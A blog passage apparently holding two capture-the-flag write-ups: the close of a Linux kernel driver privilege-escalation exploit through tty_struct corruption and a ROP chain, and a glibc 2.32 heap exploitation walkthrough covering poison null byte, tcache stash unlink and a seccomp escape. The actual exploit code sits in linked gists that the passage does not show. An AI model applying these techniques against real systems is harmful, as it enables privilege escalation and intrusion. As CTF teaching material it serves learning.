long)ptr ^ s->random ^ ptr_addr). If we can get a heap leak, we can still perform freelist poisoning. Even if we don't get a heap leak, there is chance to overwrite and corrupt it with only an 8 byte overflow to get it to redirect properly (as the article mentions), but a heap spray is necessary. It's just easier to rely on useful kernel structures (plus, there were <a href="https://blog.infosectcbr.com.au/2020/04/an-analysis-of-linux-kernel-heap.html" target="_blank">even more pointer hardening options added soon afterwards</a> in later kernel versions). Another hardening option is freelist randomization, which as the name implies, randomizes the freelist. This means our heap operations won't be predictable like in glibc, so a heap spray will be necessary.</div><div><br /></div><div>One of the first things in my kernel exploit are the helper functions and structs. I made the following:</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=kernel3.c"></script></div><div><br /></div><div>As mentioned earlier, we will be relying on the tty_struct structure, which gets allocated whenever we open /dev/ptmx. According to <a href="https://elixir.bootlin.com/linux/latest/source/include/linux/tty.h#L285" target="_blank">source</a>, the struct is as the following:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=kernel4.c"></script></div><div><br /></div><div>Therefore, the 4th qword of this holds the tty_operations struct pointer, which for ptmx devices, will contain the address of ptm_unix98_ops. According to the Ubuntu System-Image file, that address will have its lower 12 bits be 6a0; this will come in handy for the heap spray. From the <a href="https://elixir.bootlin.com/linux/latest/source/include/linux/tty_driver.h#L254" target="_blank">source</a>, the following is the tty_operations struct:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=kernel5.c"></script></div><div><br /></div><div><div>Hijacking the ioctl function pointer seems like a good idea, as it would trigger when we run ioctl with that fd. </div><div><br /></div><div>For the spray, my plan was to just allocate a bunch of ptmx devices, and then loop through the array of 32 spots to allocate a ralloc chunk. After each allocation, I would check if it is adjacent to a ptmx device by performing an OOB read to see if there is a ptm_unix98_ops address (we have just enough of an OOB amount to hit that field of the structure). If that is the correct one, I will just return that index. Here is my implementation:</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=kernel6.c"></script></div><div><br /></div><div>From there, we can rebase all the necessary addresses in the kernel we need for privilege escalation to uid 0.</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=kernel7.c"></script></div><div><br /></div><div>Now we can replace the tty_operations struct pointer with our own malicious pointer with the OOB write. Take careful note to preserve the other addresses in this struct. I also spammed my malicious tty_operations struct with pty_close to prevent other crashes (it just helps fill it with valid pointers, and crashing won't really happen since ioctl is the only operation I am planning for it). I chose a stack pivot gadget that was xchg eax, esp (since the address of the function pointer will be in the rax register when I trigger the malicious ioctl). This also allows me to determine an absolute location to make my fake stack for the rop chain.</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=kernel8.c"></script></div><div><br /></div><div>Here is what the corruption looks like in memory (first address is the location of the length 32 array in the driver):</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-PgWG0ssZhvk/X73RkDhkepI/AAAAAAAAB4M/qu-s_Zf78j4FZjzSLUkNwyn9UEzUSyX1wCLcBGAsYHQ/s653/kernel1.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="396" data-original-width="653" height="388" src="https://1.bp.blogspot.com/-PgWG0ssZhvk/X73RkDhkepI/AAAAAAAAB4M/qu-s_Zf78j4FZjzSLUkNwyn9UEzUSyX1wCLcBGAsYHQ/w640-h388/kernel1.JPG" width="640" /></a></div><br /><div><div>As you can see, there is a userland pointer that replaced the tty_operations struct pointer.</div><div><br /></div><div>Now what should my rop chain be like? There is only SMEP, so this should be quite trivial with a ret2usr or even without it. However, the one issue I kept running into was the inability to use certain syscalls upon the return to usermode (such as execve), and I do not enjoy having an exploit that doesn't give me an ability to pop a shell. For some reason, execve with either the iretq, sysretq, or other syscall trampolines would cause a kernel panic; maybe there is something I didn't clean up with the corruption created with the exploit, but I am not completely sure. In the end, I decided to just make my exploit make /usr/bin/dash a suid binary as root and then hang the kernel thread (for 49.7 days, which is long enough). The idea was to just run the following pseudocode:</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=kernel9.c"></script></div><div><br /></div><div><div>Once we added that the rop chain into the target location after the stack pivot, we can trigger the malicious rop chain and become root. While we don't know which ptmx fd is the adjacent chunk, we can just loop through all of them, and run ioctl on all of them. Note that this exploit has to be run asynchronously in bash due to the hanging.</div><div><br /></div><div>The following is the final exploit:</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=kernel_exploit.c"></script></div><div><br /></div><div>And after compiling and transfering to remote... (note that you can access this driver as chromeuser as well):</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-KW7LTD2ojSM/X73RuVLIcTI/AAAAAAAAB4Q/CivE2Tw3ASEAxfeQKQ3L9b9OpYkBiEM5gCLcBGAsYHQ/s1210/roooooot.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="344" data-original-width="1210" height="182" src="https://1.bp.blogspot.com/-KW7LTD2ojSM/X73RuVLIcTI/AAAAAAAAB4Q/CivE2Tw3ASEAxfeQKQ3L9b9OpYkBiEM5gCLcBGAsYHQ/w640-h182/roooooot.JPG" width="640" /></a></div><br /><div><div>Whew, and finally, we can obtain the root flag! It was a really fun journey, and definitely sparked my interest in learning more about kernel pwning (as my previous experience only involved solving kernel ROP challenges) and browser pwnables. Feel free to let me know if anything I explained is wrong or confusing (as this is quite a complex writeup), and I am 100% looking forwards to Rope3.</div><div><br /></div><div>Acknowledgements: In addition to all the sources linked above, I would like to thank R4J, Faith, <a href="https://syst3mfailure.github.io/" target="_blank">D3v17</a>, and <a href="https://www.hackthebox.eu/profile/33648" target="_blank">Overthink</a> for giving this a read through and providing feedback to make the writeup even better.</div></div><div><br /></div><div><br /></div>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-8814147965526194982.post-79301512429468592712020-12-30T10:31:00.009-08:002021-02-03T08:32:15.137-08:00Yet Another House ASIS Finals 2020 CTF Writeup<p>A few weeks ago, I played with DiceGang in Asis Finals CTF. Yet Another House was one of the heap pwnables, and it only had only one solve (which was by us). The general gist of it involved doing a glibc 2.32 poison null byte attack without a heap leak, a tcache stash unlink attack to overwrite mp_.tcache_bins, and a tcache poison for controlled arb write to escape seccomp for the flag. I didn't plan on making a writeup for this originally, but when redoing this complex pwnable a few weeks later, I thought it would be good for me to make some detailed notes so I don't forget about these techniques.</p><p>Before I start, I would like to thank the teammates who worked with me on this: Poortho (who did the majority of the work and blooded it), NotDeGhost, Asphyxia, and noopnoop.</p><p>Initial Work:</p><p>One thing to note immediately is the patch the author introduced into the glibc library. </p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-u7HfBviHSfg/X-y7q2UlQDI/AAAAAAAAB5c/3e64GAScS9EjwWddiE7Cks1q_S94fBH8ACLcBGAsYHQ/s690/rev1.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="638" data-original-width="690" height="592" src="https://1.bp.blogspot.com/-u7HfBviHSfg/X-y7q2UlQDI/AAAAAAAAB5c/3e64GAScS9EjwWddiE7Cks1q_S94fBH8ACLcBGAsYHQ/w640-h592/rev1.PNG" width="640" /></a></div><div><br /></div><div>He effectively disabled the possibility of attacking global_max_fast. </div><div><br /></div><div>Now, reversing this binary (all protections are enabled):</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-PlESM5rxtwI/X-y759WskkI/AAAAAAAAB5g/zoGFMWQp70w0wDKD9PXsNHGbgR7W98oTQCLcBGAsYHQ/s942/rev2.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="639" data-original-width="942" height="434" src="https://1.bp.blogspot.com/-PlESM5rxtwI/X-y759WskkI/AAAAAAAAB5g/zoGFMWQp70w0wDKD9PXsNHGbgR7W98oTQCLcBGAsYHQ/w640-h434/rev2.PNG" width="640" /></a></div><div><br /></div><div>Inside initialize, a 0x20 chunk is allocated and the address of the tcache_perthread_struct is recorded. According to seccomp-tools, only open, read, write, mprotect, clock_nanosleep, rt_sigreturn, brk, exit, and exit_group were allowed. Also note that this program doesn't return, only uses read() and write(), and exits with _exit, which means our seccomp escape probably will not use FSOP. </div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-GXr7w-mxMWQ/X-y8ChvBhjI/AAAAAAAAB5o/273dVV1Iu0881xBZ6bdwI0MxLsqV0TJYwCLcBGAsYHQ/s1012/rev3.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="411" data-original-width="1012" height="260" src="https://1.bp.blogspot.com/-GXr7w-mxMWQ/X-y8ChvBhjI/AAAAAAAAB5o/273dVV1Iu0881xBZ6bdwI0MxLsqV0TJYwCLcBGAsYHQ/w640-h260/rev3.PNG" width="640" /></a></div><div><br /></div>From the allocation function, we know that our requested sizes must be greater than 0x100 and less than or equal to 0x2000. We also have 0 to 18 slots inclusive (so 19 total). The read_data function (which I didn't show) null terminates. I would say that this function overall is safe. The malloc_wrapper function performs another important task:<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-6NYxAUk0n74/X-y8K5QEJ6I/AAAAAAAAB5w/T_RIw7vLC5w-ZYmtqy1SHxG70Th7LGsXwCLcBGAsYHQ/s676/rev4.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="206" data-original-width="676" height="196" src="https://1.bp.blogspot.com/-6NYxAUk0n74/X-y8K5QEJ6I/AAAAAAAAB5w/T_RIw7vLC5w-ZYmtqy1SHxG70Th7LGsXwCLcBGAsYHQ/w640-h196/rev4.PNG" width="640" /></a></div><br /><div>Seems like it wipes the tcache_perthread_struct everytime you call malloc :(</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-ijy_l3u8Lms/X-y8Q9NfpTI/AAAAAAAAB50/NSk7jj9VMJMR3GoAvgu1GVXltAzPJaNYACLcBGAsYHQ/s798/rev5.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="323" data-original-width="798" height="260" src="https://1.bp.blogspot.com/-ijy_l3u8Lms/X-y8Q9NfpTI/AAAAAAAAB50/NSk7jj9VMJMR3GoAvgu1GVXltAzPJaNYACLcBGAsYHQ/w640-h260/rev5.PNG" width="640" /></a></div><br /><div>The delete function is safe and nulls out the size and chunk array indices respectively.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-0nBeowLLWHI/X-y8W272L-I/AAAAAAAAB58/6nLqfbQhnGsKzvVHNRMTb367vLCSFyY1QCLcBGAsYHQ/s1036/rev6.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="256" data-original-width="1036" height="158" src="https://1.bp.blogspot.com/-0nBeowLLWHI/X-y8W272L-I/AAAAAAAAB58/6nLqfbQhnGsKzvVHNRMTb367vLCSFyY1QCLcBGAsYHQ/w640-h158/rev6.PNG" width="640" /></a></div><br /><div>The leak function itself is also safe. I didn't show the code for write_1 here, but it only writes the number of bytes based on strlen(data), so if we want to use this for leaks, we have to be very careful to not introduce null bytes before the leak.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-jwgGMqh_E8o/X-y84LBqCrI/AAAAAAAAB6Q/-i7SqWLOVl4jTTV5QmPd66BxzfhzLAP1wCLcBGAsYHQ/s1400/rev7.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="463" data-original-width="1400" height="212" src="https://1.bp.blogspot.com/-jwgGMqh_E8o/X-y84LBqCrI/AAAAAAAAB6Q/-i7SqWLOVl4jTTV5QmPd66BxzfhzLAP1wCLcBGAsYHQ/w640-h212/rev7.PNG" width="640" /></a></div><br /><div><div>And here, we have a classic CTF heap note bug... the infamous null byte poisoning, as it adds a null byte one after the amount read in. Note that this function can only be used once, unless you reset the sanity value, but it wasn't necessary in this exploit.</div><div><br /></div><div>The last thing to take note of is the libc leak for unsorted bin fd and bk pointers end with a null byte in this libc, which will prove slightly troublesome later on.</div><div><br /></div><div><div>Observations:</div><div><br /></div><div>From the reversing above, we can conclude several things and propose a basic exploit path.</div><div><br /></div><div>Fastbins can just be ignored due to the allocation size ranges and the fact that we can't change global_max_fast due to the custom patch. </div><div><br /></div><div>Tcachebins (or at least the original ones that are placed within the 0x280 tcache_perthread_struct) can be used, as long as you do not allocate - this is a key concept! You can also use malloc() to wipe the struct as a way to help you during your heap massage (Ex. if you want to leave a permanent chunk in between two chunks that would otherwise coalesce).</div></div><p>By glibc 2.32, there are many more mitigations. As documented in my <a href="https://www.willsroot.io/2020/06/player2-hackthebox-writeup.html" target="_blank">Player2 writeup</a>, glibc introduced a <a href="https://github.com/bminor/glibc/blob/release/2.32/master/malloc/malloc.c#L1465" target="_blank">mitigation</a> against poison null byte where it checks the size header compared to the prev_size header and ensures that they are the same before back coalescing. However, this time, we cannot just forge some headers easily like in Player2 via a heapleak to beat the <a href="https://github.com/bminor/glibc/blob/release/2.32/master/malloc/malloc.c#L1472" target="_blank">unlink check</a>. We will have to use the fact that glibc doesn't zero out the pointers for heap operations involving the unsorted and large bin (as each unique sized chunk in largebin has 2 sets of pointers, with the bottom two being fd_nextsize and bk_nextsize to help it maintain the sorted order). This technique has been documented in the following links (though some of them rely on the aid of fastbin pointers which we do not have): <a href="http://blog.eonew.cn/archives/1233" target="_blank">BalsnCTF Plainnote writeup</a>, <a href="https://www.lhyerror404.cn/2020/06/22/%E3%80%90%E8%BD%AC%E3%80%91off-by-null%E7%9A%84%E5%89%8D%E4%B8%96%E4%BB%8A%E7%94%9F/" target="_blank">poison null byte techniques</a>, <a href="https://gist.github.com/ducphanduyagentp/1c6dd45bd92b12ae92c9b39e7b6dc9ea" target="_blank">2.29 off by null bypass</a> (like many pwnable writeups, Chinese CTF players often document some of the coolest and most obscure techniques, but Google Translate should suffice).</p><p>An interesting thing to note is that in 2.32, the tcache_perthread_struct no longer uses uint_8 to store tcache counts; <a href="https://github.com/bminor/glibc/blob/release/2.32/master/malloc/malloc.c#L2921" target="_blank">it now uses uint_16</a>. Hence, if we can place chunks in around the 0x1420ish range into the tcache_perthread_struct, the memset will not be able to wipe the tcache count (and the pointer as well). Some of you may recall that the tcache count did not matter before as long as you had a pointer in the tcache_perthread_struct (as I believe those checks were once asserts in tcache_get that got compiled out for release builds), but now, there are <a href="https://github.com/bminor/glibc/blob/release/2.32/master/malloc/malloc.c#L3067" target="_blank">sanity checks</a> against such behavior; this is why we need to allocate potential chunks for the tcache bin that has its count placed outside the memset range.</p><p>In order to expand the size of chunks we can place into the tcache, we can attack the <a href="https://github.com/bminor/glibc/blob/release/2.32/master/malloc/malloc.c#L1711" target="_blank">malloc_par struct</a>, with the symbol mp_ in libc. Take careful note of the <a href="https://github.com/bminor/glibc/blob/release/2.32/master/malloc/malloc.c#L1738" target="_blank">tcache_bins member</a>.</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=glibc_snippet1.c"></script></p><p>By overwriting that with a large value (such as a libc address), we can place larger chunks into tcache and to bypass the wipe.</p><p>Normally, this type of write makes me think of an unsorted or largebin attack. However, since 2.28, unsorted bin attack has been patched with a <a href="https://github.com/bminor/glibc/blob/release/2.32/master/malloc/malloc.c#L3813" target="_blank">bck->fd != victim check</a>, and in 2.30, largebin attack has been hardened against, but <a href="https://github.com/shellphish/how2heap/blob/master/glibc_2.31/large_bin_attack.c" target="_blank">how2heap</a> still shows a potential way to perform this attack (I took a closer look at the newer version of this attack after the CTF; though I did not end up testing whether this would actually work in this challenge, it could potentially have offered a much easier alternative with the simpler setup). Another way to achieve this write in glibc 2.32 is to perform what is known as the tcache stashing unlink attack, which I learned from the following links: <a href="https://zhuanlan.zhihu.com/p/136983333" target="_blank">Heap Exploit v2.31</a>, <a href="https://qianfei11.github.io/2020/05/05/Tcache-Stashing-Unlink-Attack/" target="_blank">Tcache Stashing Unlink Attack</a>.</p><p>The relevant source for this attack is <a href="https://github.com/bminor/glibc/blob/release/2.32/master/malloc/malloc.c#L3684" target="_blank">here</a>:</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=glibc_snippet2.c"></script></p><p>Basically, when we have chunks inside a specific smallbin, causing malloc to pull from this smallbin will trigger a transfer of chunks into the respective tcache bin afterwards. Notice the point about bck = tc_victim->bk and bck->fd = bin during the stashing process. By corrupting the bk pointer of a smallbin, we can write a libc address into a selected address + 0x10. We must take note to do this only when tcache is one spot away from being filled so the stashing procedure can end immediately afterwards, avoiding any potential corruption. Most writeups would first start out with 6 tcache bins filled and then 2 smallbins, so you can pull out one smallbin and corrupt the bk of the last one (as smallbins are FIFO structures with chunks removed from the tail), trigger the stash process, and have it end immediately as tcache would become full. However, in this case, our tcache_perthread_struct always gets wiped, so we actually need 8 chunks in the smallbin; 1 to pull out, 6 to stash, and the final one to stash and write. Regardless of what happens, this respective smallbin will be corrupted and cannot be used again. If curious, readers can check out the stash unlink+ and stash unlink++ versions of this attack to get an arbitrary address allocation or an arbitrary address allocation and a write of a libc address somewhere in memory.</p><p>One more new protective feature in libc 2.32 is pointer obfuscation/safe linking, which I discussed previously in my <a href="https://www.willsroot.io/2020/10/cuctf-2020-dr-xorisaurus-heap-writeup.html" target="_blank">CUCTF Dr. Xorisaurus writeup</a>, where (stored pointer) = (address of fd pointer >> 12) ^ (fd pointer) for singly linked lists. Once we achieve a heap leak, this protection mechanism is trivial to beat, and the new aligned address check for these lists won't matter as we will be targeting __free_hook.</p><p>Lastly, since this writeup requires a lot of heap massaging involving smallbin and largebin, I recommend reviewing this <a href="https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/core_functions" target="_blank">page</a> from the Heap Book for all the conditions. It didn't turn out to bad when writing this exploit as a lot of it just relied on some intuition and checking in a debugger.</p><p>Exploit Development:</p><p>I recommend closely following around with a debugger, as sometimes my explanations might be wrong or I might have misexplained a small step due to the complexity of this exploit.</p><p>To start off, I wrote some helper functions:</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit1.py"></script></p><p>Our first goal is to create a massive back coalesce with the poison null byte so we can perform overlaps. This part took quite a while, but Asphyxia ended up figuring this out late at night with the following general technique using largebins, unsorted bins, and normal back coalescing.</p><p>Several chunks are allocated, and then three chunks of different sizes (but same largebin) are freed into the unsorted. A chunk larger than all three were requested, causing a new chunk to be pulled from wilderness and the 3 unsorted chunks to be sorted into the same largebin in order, with 2 sets of pointers filled for each due to them having unique sizes. Notice how the one of the middle size has its first set of pointers aligned at an address ending in a null byte; this is purposeful as we will later forge a fake size header over the first set of pointers here, and can perform partial overwrites on other chunks with dangling pointers with just a single null byte from the alloc function to align and pass the unlink check. </p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit2.py"></script></p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=debug1.py"></script></p><p>Note that I didn't fill the middle chunk with as many characters since I will forge a fake chunk header there soon as it will be the target to back coalesce onto; as the back coalesce region will be quite large, I have to leave the part after the pointers as null bytes (or at least the 1 qword afterwards) as glibc unlink <a href="https://github.com/bminor/glibc/blob/release/2.32/master/malloc/malloc.c#L1476" target="_blank">performs additional operations</a> when the previous chunk is of large size and has non null fd_nextsize pointers.</p><p>Next, Asphyxia freed the chunk before the chunk in the middle largebin, causing it to back coalesce (while also leaving the 2 sets of pointers behind for me to use) and go into unsorted. Another allocation is made so that the first set of pointers left behind can be used to fake a chunk header, and the next set of pointers can be used as part of the way to beat the unlink checks (I chose a fake size chunk of 0x2150).</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit3.py"></script></p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=debug2.py"></script></p><p>Then, we cleared out the unsorted bin, and recovered the other two largebins, to then build an unsorted chain. Order of freeing now matters here for unsorted bins. We want to have the chunk underneath the fake headers to be in the middle, so its address in the unsorted chain can be used and changed to the fake chunk with just a null overwrite (as they are all in the 0x......7XX range). </p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit4.py"></script></p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=debug3.py"></script></p><p>Now we want to recover the the 0x440 chunk in unsorted, write a single null byte there to satisfy the fd->bk == P check. We want to do the same thing on the 0x460 chunk; in order to preserve its pointers, we will back coalesce it with a chunk before it so the pointers are preserved. Then, an allocation can be made to place a null byte to change the 0x720 ending into a 0x700 ending, and the unlink check will be satisfied. Later on, when I trigger the malicious back coalesce, I will also manage to get some heap pointers in these two chunks for a heap leak due to how <a href="https://github.com/bminor/glibc/blob/release/2.32/master/malloc/malloc.c#L1474" target="_blank">unlink works</a>. Notice how the forged chunk has the perfect pointer chain setup to pass the unlink check.</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit5.py"></script></p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=debug4.py"></script></p><p>Afterwards, I cleaned up the remaining largebin and unsorted bin, and performed a few more allocations just to expand the number of chunks I would have overlapped. I then allocated a few more chunks of 0x110 size (which I will use later for the tcache stash unlink attack), with some additional fake chunk metadata to allow me to free a fake 0x1510 chunk later, which I plan to use for the tcache poison attack. My final 0x110 chunk allocated is meant to just prevent consolidation later depending on the order of how I build my smallbin chain and I cannot use it as this extra spot is crucial for the later massage.</p><p>I triggered the poison null byte after setting the correct prev_size metadata and created a massive unsorted bin that overlapped a lot of memory after I freed the poisoned chunk.</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit6.py"></script></p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=debug5.py"></script></p><p>Now chunk 3 will have heap pointers. Chunk 5 also does, but my forged size metadata comes before it so you won't be able to leak it from there.</p><p>Here, some serious heap massaging begins. During the CTF, Poortho managed to massage it cleanly in 2-3 hours (basically carrying us to the first blood); I remember his exploit having several dangling unsorted and small chains around so it is quite impressive that he managed to keep the heap stable. It took me much longer to massage the heap, and I had to keep it as clean as possible to avoid breaking it.</p><p>Since the libc address for unsorted bins started with a null byte, I had to find a way to get a largebin pointer allocated into the beginning of my chunk data for libc leak. I achieved this by first aligning the unsorted bin with one of my chunk data addresses, then allocated a very large chunk (greater than unsorted size) to trigger largebin activity, hence providing me with a libc leak. Two operations were also performed to fix some of the chunks' size metadata that got corrupted and overwritten during these heap manipulations (but they were unnecessary as I had to change all of them in the next stage of the exploit). I lastly allocated another 0x110 chunk into index 10, and used that as an opportunity to fix index 8's chunk size to something valid that will work with free() nicely.</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit7.py"></script></p><p>A general technique I used above and one that I will use from now on to fake sizes or forge metadata is one where I allocate one to two massive chunks from the unsorted bin to reach the specified destination, write the data upon allocation, and then free it in the opposite order of allocation to back coalesce it and restore the state of the unsorted bin.</p><p>In order to perform a tcache stash attack in a scenario where the tcache_perthread_struct gets wiped on each malloc(), we need to have 15 0x110 chunks to be freed. The first 7 can be freed into tcache, and the next 8 will be freed into unsorted (in which we have to be very careful to avoid chunk coalescing). From there, we can trigger malloc to move all of them into smallbin, and have the chunk inserted into the 0x110 smallbin last be overlapped to have its bk pointer tampered with; this way we can still stash attack without crashing and have the final chunk entering tcache perform the write. At the current stage, we only have 0x110 chunks in 12, 13, 14, 15, 16, 17, 2, 4, 7, 10, and we will need 5 more. Here is the program chunk array as of now:</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=debug6.py"></script></p><p>The ones marked with X are the 0x110 chunks (or at least should have that as the size and I have to repair them later). The ones marked with S are towards the end of the unsorted overlap, and hence I would like to save them for the overlap writes later. I plan on saving one for the tcache poison, one for the smallbin bk pointer corruption, and just one extra for backup/padding purposes (in the end, I didn't even need it); these were index 1, 6, and 9. </p><p>To free up the other chunks, I performed the technique mentioned above (allocate one to two chunks, write the correct size or just spam with 0x21 sizes, and recoalesce back to restore unsorted chunk) on chunks 3 and 5 to make them isolated 0x20 sized chunks (size for index 8 has already been changed in the last 0x110 allocation), on chunk 9 to make it into size 0x1510, and applied it one last time to fix some of the 0x110 chunk size metadata that I may have overwritten. Chunk 11 can be freed before all of these operations by just having it back coalesce into the large unsorted bin. I will also free 0, which will add one more unsorted chunk into the unsorted bin, but luckily it didn't raise any new issues I had to deal with in the heap massage later. We should have 6 free spots at this point; 5 for additional 0x110 chunks and one for padding/alignment purposes to create an overlap.</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit8.py"></script></p><p>Now, I added 5 more 0x110 chunks. This cannot just be done as directly as such. Rather, I performed the allocations (and some frees) in such a way such that the unsorted bin created from freeing chunk 0 runs out after 3 0x110 chunk allocations. Then I allocated another 0x110 chunk, allocated a large chunk that extended into index 6 chunk's data (which we control), and allocated a 0x110 chunk from there (providing us with an overlap over a potential smallbin). Since we know that for this last chunk will go into unsorted before smallbin, I had to ensure that it will not coalesce with the neighboring unsorted, so I freed a previous 0x110 chunk and allocated one more from unsorted to act as a guard chunk; the nice thing about the tcache memset is that I can free smaller chunks like these to help with the heap massage without worrying about their return.</p><p>One thing to note is the reason for which I chose index 6 to be the one to overlap and overwrite the last smallbin bk. I mentioned it above in the code comments, but it's because there was a 0x110 chunk after it and it was also the first of the three chunks I kept in memory.</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit9.py"></script></p><p>At this stage, we have 15 chunks of 0x110 size: index 0, 2, 3, 4, 5, 7, 8, 10, 12, 13, 14, 15, 16, 17, 18. To avoid any coalescing and keep these number of chunks for the tcache and smallbin frees, I closely considered the following rules I know (which you can see from debugging):</p><p>1. 12 to 17 is a chain (17 won't coalesce into top even if it is treated as unsorted due to a guard chunk placed below early on)</p><p>2. 12 will back coalesce into the large unsorted if not entered into tcache.</p><p>3. 0, 3 is a chain</p><p>4. 8, 10 is a chain</p><p>5. 5 is on top of the big unsorted chunk</p><p>6. 2, 4 are isolated</p><p>7. 7 has the potential to go into unsorted and merge with a smallbin</p><p>8. 18 must be the last one into the smallbin</p><p>Following these observations, I performed the following free chain: 14, 16, 3, 10, 5, 12, 7 (tcache filled, now into unsorted), 17, 2, 13, 15, 0, 8, 4, 18. I then made a larger allocation to trigger the transfer to smallbin of the 8 unsorted 0x110 chunks and freed this larger chunk to restore the large unsorted bin's state.</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit10.py"></script></p><p>Note that pwndbg labels the doubly linked bins as corrupted whenever I go over 4-5 chunks in them, but in reality, they are fine.</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=debug7.py"></script></p><p>Since we don't have edit anymore, I had to free index 6 into unsorted, and then allocate for it to get it back and perform the overwrite over the index 18 0x110 small chunk to write a libc address into mp_.tcache_bins. Making another request into the smallbin should trigger the stash. 0x110 smallbin is also corrupted afterwards and you should avoid allocating from it.</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit11.py"></script></p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=debug8.py"></script></p><p>Between index 1 and 9, I chose to use 9 for my tcache poison. To set this up, I first allocated a large enough chunk to make the unsorted bin small enough so that when I ask for a 0x1510 allocation, it pulls from wilderness. I then freed this new chunk, and then index 9 (which had its size overwritten with 0x1510). Due to the new mp_.tcache_bins value, a tcache chain is created here that is not reached by the 0x280 byte memset hooked onto malloc.</p><p>Then, I pulled from a chunk from the large unsorted chunk we had to overlap into what was index 9, and following the pointer obfuscation rules, changed it to __free_hook.</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit12.py"></script></p><p>Now, we must decide on how to escape the seccomp filter. Of course we will need to do an open read write rop chain, however how can we pivot with only control over __free_hook (which implies we have control over rdi)? </p><p>One idea that we had was setcontext, which is a well known function to use as a stack pivot.</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=debug9.py"></script></p><p>However, starting around libc-2.29 (?) it relied on rdx instead of rdi, and we do not have control over rdx. After some attempts at FSOP and forcing in a format string attack, Poortho and I discovered an extremely powerful COP gadget (which exists in many (newer?) glibc versions) that allows us to control rdx from rdi and call an address relative to rdx. In this libc, it was the following:</p><p>mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];</p><p>This makes it relatively trivial as we can just set up the heap for the ROP (take care of the one push rcx instruction setcontext undergoes). I went for a mprotect to change heap to rwx, and then pivoted it to shellcode on the heap to open read write exit. Due to my previous spamming of 0x21 metadata, I was not able to allocate again from some of the larger chunks, but I had enough left in the unsorted bin to pull smaller chunks out. Here is the final bit of my exploit:</p><p><script src="https://gist.github.com/BitsByWill/0a8aebec85d13774402c71708b397e78.js?file=exploit13.py"></script></p><p>Final Exploit:</p><p>Do note that in this writeup, I nop'd out the sleep for the sake of local testing. However, running it with the provided ynetd binary (as the CTF server is no longer up) with a 3 second timeout for each option added onto my script still had it over 10 minutes under the sigalarm limit, so it should have been fine during the actual competition 